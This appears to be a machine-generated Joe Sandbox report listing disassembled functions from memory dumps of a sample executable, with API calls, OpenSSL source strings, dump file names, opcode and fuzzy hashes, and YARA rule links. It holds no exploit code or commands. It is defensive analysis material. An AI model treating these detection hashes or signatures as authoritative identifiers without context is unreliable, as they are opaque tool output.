Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: getaddrinfo
String ID: ..\s\crypto\bio\b_addr.c
API String ID: 300660673-2547254400
Opcode ID: cee4118a91f4e298bb24630199019e17d2161ccb3740edd78188986782efcc03
Instruction ID: f1b95439acf8b30d26a2d2961f732bfff81405c81f708239639b6b5538a7bf41
Opcode Fuzzy Hash: cee4118a91f4e298bb24630199019e17d2161ccb3740edd78188986782efcc03
Instruction Fuzzy Hash: 8341F872B1968387E721DF12A890ABE77A0FB85780F004135FA9943BE9DF3CD4459B40

Function 00007FF6FB1F832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F835E

Part of subcall function 00007FF6FB1F9C58: HeapFree.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C6E
Part of subcall function 00007FF6FB1F9C58: GetLastError.KERNEL32(?,?,?,00007FF6FB202032,?,?,?,00007FF6FB20206F,?,?,00000000,00007FF6FB202535,?,?,?,00007FF6FB202467), ref: 00007FF6FB1F9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6FB1EBEC5), ref: 00007FF6FB1F837C

Strings

C:\Users\user\Desktop\e45AiBoV6X.exe, xrefs: 00007FF6FB1F836A

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\e45AiBoV6X.exe
API String ID: 3580290477-3551109972
Opcode ID: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction ID: 10b7e5f03b503dde526c9d0b3b79f6bc87970166dcc8d70c70fc678bf12099f0
Opcode Fuzzy Hash: b12c586edd81a32e618353e8c6e47471c9321224668f8732ac6121a92b7f4d59
Instruction Fuzzy Hash: C0416C36E08A53C5EB18DF25E9811BC27A4EB497D8B555035EA6EC7BE5EE3CE481C300

Function 00007FF6FB1FF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FF916

Part of subcall function 00007FF6FB1FE8C8: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FB1FE908

Strings

., xrefs: 00007FF6FB1FF967
:, xrefs: 00007FF6FB1FF956

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentDirectory_invalid_parameter_noinfo
String ID: .$:
API String ID: 2020911589-4202072812
Opcode ID: d87eb04c00ab0d11921b960990d015d2b833b70a5179bc2debb53fca30d01a9c
Instruction ID: 751dcc1dd1b5525232542b870e70bda81a8fe4585af1ea3eb1b8886e7e3f7060
Opcode Fuzzy Hash: d87eb04c00ab0d11921b960990d015d2b833b70a5179bc2debb53fca30d01a9c
Instruction Fuzzy Hash: EA414A22E0965398FB10DBA198611BC27B4BF1875CF540039EE6DA7AE9EF78A456C300

Function 00007FF6FB1FBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6FB1FC05F
GetLastError.KERNEL32 ref: 00007FF6FB1FC081

Strings

U, xrefs: 00007FF6FB1FC00B

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
Instruction ID: 8578bb5448fca6d6b7ca3f789977a7d2209c012eeacf791fba62aa5c6ae5ebc4
Opcode Fuzzy Hash: 8a697203ccd77e4b09c13c65c1c26094ec0dd1f28ad5eedaecdf6916cad97550
Instruction Fuzzy Hash: 8541B322A18A8681DB20DF25E4447BA6760FB8C798F944131EE5DC7BE8EF3CD441CB40

Function 00007FFDFB2446F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

00007FFE126E1170.VCRUNTIME140 ref: 00007FFDFB24475F

Strings

E, xrefs: 00007FFDFB2447E1
..\s\crypto\x509v3\v3_utl.c, xrefs: 00007FFDFB244734, 00007FFDFB244770, 00007FFDFB24478D, 00007FFDFB2447E9, 00007FFDFB244814, 00007FFDFB244829, 00007FFDFB24483E

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007E1170E126
String ID: ..\s\crypto\x509v3\v3_utl.c$E
API String ID: 200926875-2813183830
Opcode ID: 0eef34bb189bc0c96894fbceed15470d689ed06ecddb61039ee8e60ce9ea0c21
Instruction ID: 74d0a505fb9a0cf0bf144491f1e0d8fb5488b47eaac703f54e6f8e364668a473
Opcode Fuzzy Hash: 0eef34bb189bc0c96894fbceed15470d689ed06ecddb61039ee8e60ce9ea0c21
Instruction Fuzzy Hash: CF414D61B1B74385EB14EB12A820A796790AF4A7D0F484435EE6D47BEEDF3CE612D700

Function 00007FFDFB0039B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

00007FFE2002EFC0.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FFDFB1CE4BD

Strings

Filename=, xrefs: 00007FFDFB1CE432, 00007FFDFB1CE4A1
..\s\crypto\rand\randfile.c, xrefs: 00007FFDFB1CE41C, 00007FFDFB1CE480

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007E2002
String ID: ..\s\crypto\rand\randfile.c$Filename=
API String ID: 1750240854-2201148535
Opcode ID: ffb6a3000f1f43db175e07ee08783f9f81d8d84b3e7221bb60cce5b0c7cc5f2d
Instruction ID: 38d8ab1d0b4f0c38291c65db4003a972ab7bcb8f0b9caa53874e3d85428ea5a0
Opcode Fuzzy Hash: ffb6a3000f1f43db175e07ee08783f9f81d8d84b3e7221bb60cce5b0c7cc5f2d
Instruction Fuzzy Hash: 6D318162B0E64796EB10EB15E460AFA6391FF85788F844035EA6D47AEDDF3CF5048B01

Function 00007FFDFB3B3A40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

T, xrefs: 00007FFDFB3B3AF8
..\s\ssl\ssl_sess.c, xrefs: 00007FFDFB3B3A6F, 00007FFDFB3B3A88, 00007FFDFB3B3AF1, 00007FFDFB3B3B43

Memory Dump Source

Source File: 00000001.00000002.1991624093.00007FFDFB381000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFB380000, based on PE: true

Associated: 00000001.00000002.1991585735.00007FFDFB380000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F3000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB3F5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB418000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB423000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1991624093.00007FFDFB42D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992057570.00007FFDFB430000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.1992103361.00007FFDFB432000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb380000_e45AiBoV6X.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_sess.c$T
API String ID: 0-2647723609
Opcode ID: a86c482ed1667c2386997e7d485d9949709b2799da1d8a0bf24f4547081771c5
Instruction ID: 7fda89159b5d1ba42f90db4267b9f657dc36f20ef18aabfb856e3f9a5fabab36
Opcode Fuzzy Hash: a86c482ed1667c2386997e7d485d9949709b2799da1d8a0bf24f4547081771c5
Instruction Fuzzy Hash: A5215025B5964382EB50EF61D424BE967D0EB84748F884036DA5D473EAEF3DE508CB01

Function 00007FF6FB1FE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FB1FE908
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6FB1FE95A

Strings

:, xrefs: 00007FF6FB1FE91E

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: e37c33f8f2befd5fbd3c49cdc0b6d52123385b6fd944ea7372e41dd3f6ca63dc
Instruction ID: 1f03d44e165032d7eeec944408b60b3d3521c9fa64b7f28c6c1d81e73b34da24
Opcode Fuzzy Hash: e37c33f8f2befd5fbd3c49cdc0b6d52123385b6fd944ea7372e41dd3f6ca63dc
Instruction Fuzzy Hash: E921B123A0868381EB60DB15D04427E73A1FBCCB88F854035D6AD836E8EF7CE545C751

Function 00007FFDFB003387 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32 ref: 00007FFDFB0CA197
WSAGetLastError.WS2_32 ref: 00007FFDFB0CA1A2

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FFDFB0CA156, 00007FFDFB0CA1B8, 00007FFDFB0CA1D4, 00007FFDFB0CA207

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLastgetsockname
String ID: ..\s\crypto\bio\b_sock.c
API String ID: 566540725-540685895
Opcode ID: 3f7e4d637075843b50ffdfd6546d49ef448eefcf8eb4d6d42073b27a69ad320d
Instruction ID: 4f6f56d2f082c290709c539ff2fc5f1ba576be647c492d9b86ae00a43c6409ad
Opcode Fuzzy Hash: 3f7e4d637075843b50ffdfd6546d49ef448eefcf8eb4d6d42073b27a69ad320d
Instruction Fuzzy Hash: 1B2160B1B0650786E710DB21E825AEE6760FF82754F840535EAAC436F8DF3DE685DB40

Function 00007FF6FB1EF068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6FB1EF0B8
RaiseException.KERNEL32 ref: 00007FF6FB1EF0F9

Strings

csm, xrefs: 00007FF6FB1EF0E6

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction ID: 0d81c36123044be23eced6fa8f0323cd471005690991adf5f33c967407c1c9f3
Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction Fuzzy Hash: A0114C36A18B4582EB218B15E54026D77E1FB88B98F184231DE9D47BA4EF3DE551C700

Function 00007FF6FB1FFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1FFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF6FB1FFABC

Strings

:, xrefs: 00007FF6FB1FFAA5

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: 5efa9ca9b9e8c2a2314436d27ea6877620663d8825c206dae8e1fdef55b359fa
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: 93017822E1864786EB30EB60946127E63A0EF4C74CF841036D56DC26E1FEACE555CA14

Function 00007FFDFB0015AF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFB110AA4

Strings

..\s\crypto\ct\ct_policy.c, xrefs: 00007FFDFB110A63, 00007FFDFB110A7A
!, xrefs: 00007FFDFB110A81

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007
String ID: !$..\s\crypto\ct\ct_policy.c
API String ID: 3568877910-3401457818
Opcode ID: f8ad8f7d64f1f5fb2bc396660ebdd1b69d3ea8b5320bd96bda6debcd379a685e
Instruction ID: f3e0d02c48abd1048cc50ddda5d1bc40940383bd9341b0daa364327a176015d6
Opcode Fuzzy Hash: f8ad8f7d64f1f5fb2bc396660ebdd1b69d3ea8b5320bd96bda6debcd379a685e
Instruction Fuzzy Hash: 51F03761F17607D6EB059B24E426BAD23A0EF40744F440035EA6D423EAEF3CE656DB00

Function 00007FFDFB006BEA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FFDFB0CA352
WSAGetLastError.WS2_32 ref: 00007FFDFB0CA35E

Strings

..\s\crypto\bio\b_sock.c, xrefs: 00007FFDFB0CA374

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: ErrorLastioctlsocket
String ID: ..\s\crypto\bio\b_sock.c
API String ID: 1021210092-540685895
Opcode ID: 4461a209f28e95a1d17e1fe27fd0101058cda89b9424f7b2e88bf19f5e6d7981
Instruction ID: 7ea008e170b918b9173af6f71df9ca62bfb0a130c7a28489551f48c4c33fdfa1
Opcode Fuzzy Hash: 4461a209f28e95a1d17e1fe27fd0101058cda89b9424f7b2e88bf19f5e6d7981
